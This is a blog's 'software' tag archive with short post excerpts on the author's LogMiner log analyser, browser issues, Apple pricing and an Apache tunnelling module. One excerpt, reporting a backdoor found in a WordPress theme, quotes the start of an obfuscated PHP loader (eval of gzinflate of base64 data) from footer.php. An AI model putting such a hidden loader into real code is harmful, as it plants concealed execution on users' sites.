Tag Archives: software

Screenshot Of The Day

Posted on May 25, 2010 by Simone

uhm… what should I choose? This very useful dialog pops up when you aren’t an administrator on Windows 2003, annoying you until you decide that it’s time to reboot. Or find someone that can do it, that is. I guess … Continue reading →

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A cure for Firefox freezing on download.cnet.com

Posted on October 30, 2009 by Simone

It’s been a loooong time since I’ve been able to browse download.cnet.com without having Firefox freeze on article pages. Something’s very nasty on that site (or Firefox/one of the plugins I use is very bugged). Some guy on mozillazine suggests … Continue reading →

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LogMiner 1.23

Posted on June 30, 2009 by Simone

Version 1.23 of LogMiner, my Apache/IIS log analysis package, is now available. This release mainly fixes some build problem on modern distributions. Also it finally includes the cleanup function I was talking about some days ago…

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Definition of the Day – Web 2.0

Posted on June 15, 2009 by Simone

Q: Web 2.0 – are we speaking from hindsight when we try to define it? A: We are speaking from no sight at all. “Web 2.0″ is a catch word coined by Tim O’Reilly who was trying to sell books … Continue reading →

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Snow Leopard upgrade at $29

Posted on June 8, 2009 by Simone

Hey, I’m following the live coverage of WWDC and just read this nice detail… that is a good price for a little update, Microsoft should learn a lesson or two…

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Backdoor in WordPress themes?

Posted on May 26, 2009 by Simone

I was looking for a theme to use in a WordPress blog and I stumbled on this one. Cool, I thought, I might use it… but… hey… why there’s this weird stuff in footer.php? 12345678<? eval(gzinflate(base64_decode(’vZHRasIwFIavV/AdQpCSglSvJ7INV3Aw0 NV2N2MESU9tZpZTkuiE6bsvOrsibre7/c+X/3xJwBg03ECNxkm9ZINoGHTHWEC ePpIRoZVz9XW/r6ReFShWscD3vkDtQLu4ruobWYzCCq0b0XhtFGjhj7Iunyfpc 5K+0EmWzfhkOs/oaxTTcG3kH2CaPOXJPON5+uDRYdAJZEkYk9ptFootwXFRL vlmYRhdKIUf3JfwEmvQNIrIbkdOpNSSe/o3KiJhSMq1Fk6i5rCV1llGS6mAH/u/ … Continue reading →

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mod_tunnel for Apache 2.2.x

Posted on April 12, 2009 by Simone

mod_tunnel is a simple Apache module that can be used to create TCP tunnels using your Web server. It is useful to expose services which can be reached through a proxy, bypassing firewalls. After only 4 years since the previous … Continue reading →

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How much would it cost to rewrite it?

Posted on June 2, 2008 by Simone

I’ve just added LogMiner to Ohloh, a site that offers an interesting feature: it can analyse a project source code and estimate how much it would cost to hire a development team to recreate the project from scratch. I think … Continue reading →

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MP3 Cat has moved

Posted on January 9, 2008 by Simone

I’ve noticed that some people use the blog search box to look for MP3 Cat, finding exactly 0 results… This article might point them to the right place: http://www.tellini.org/win/mp3cat/

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LogMiner 1.21

Posted on November 3, 2007 by Simone

Version 1.21 of LogMiner, my Apache/IIS log analysis package, is now available. This release sports a new report: Networks. It allows you to monitor where your visitor come from, in terms of organization and network. To use this report, you … Continue reading →

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